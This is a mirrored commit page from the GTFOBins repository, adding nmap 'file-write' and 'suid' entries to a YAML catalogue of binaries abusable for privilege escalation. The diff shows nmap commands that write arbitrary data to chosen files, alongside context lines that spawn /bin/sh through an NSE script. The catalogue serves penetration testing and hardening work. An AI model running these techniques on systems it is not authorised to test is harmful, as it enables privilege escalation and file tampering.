mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add nmap file-write
This commit is contained in:
commit
89b421863f
@ -87,6 +87,10 @@ functions:
|
||||
TF=$(mktemp)
|
||||
echo 'lua -e 'local f=io.open("file_to_write", "wb"); f:write("data"); io.close(f);' > $TF
|
||||
nmap --script=$TF
|
||||
- description: The payload appears inside the regular nmap output.
|
||||
code: |
|
||||
LFILE=file_to_write
|
||||
nmap -oG=$LFILE DATA
|
||||
file-read:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
@ -108,4 +112,9 @@ functions:
|
||||
TF=$(mktemp)
|
||||
echo 'os.execute("/bin/sh")' > $TF
|
||||
./nmap --script=$TF
|
||||
suid:
|
||||
- description: The payload appears inside the regular nmap output.
|
||||
code: |
|
||||
LFILE=file_to_write
|
||||
./nmap -oG=$LFILE DATA
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user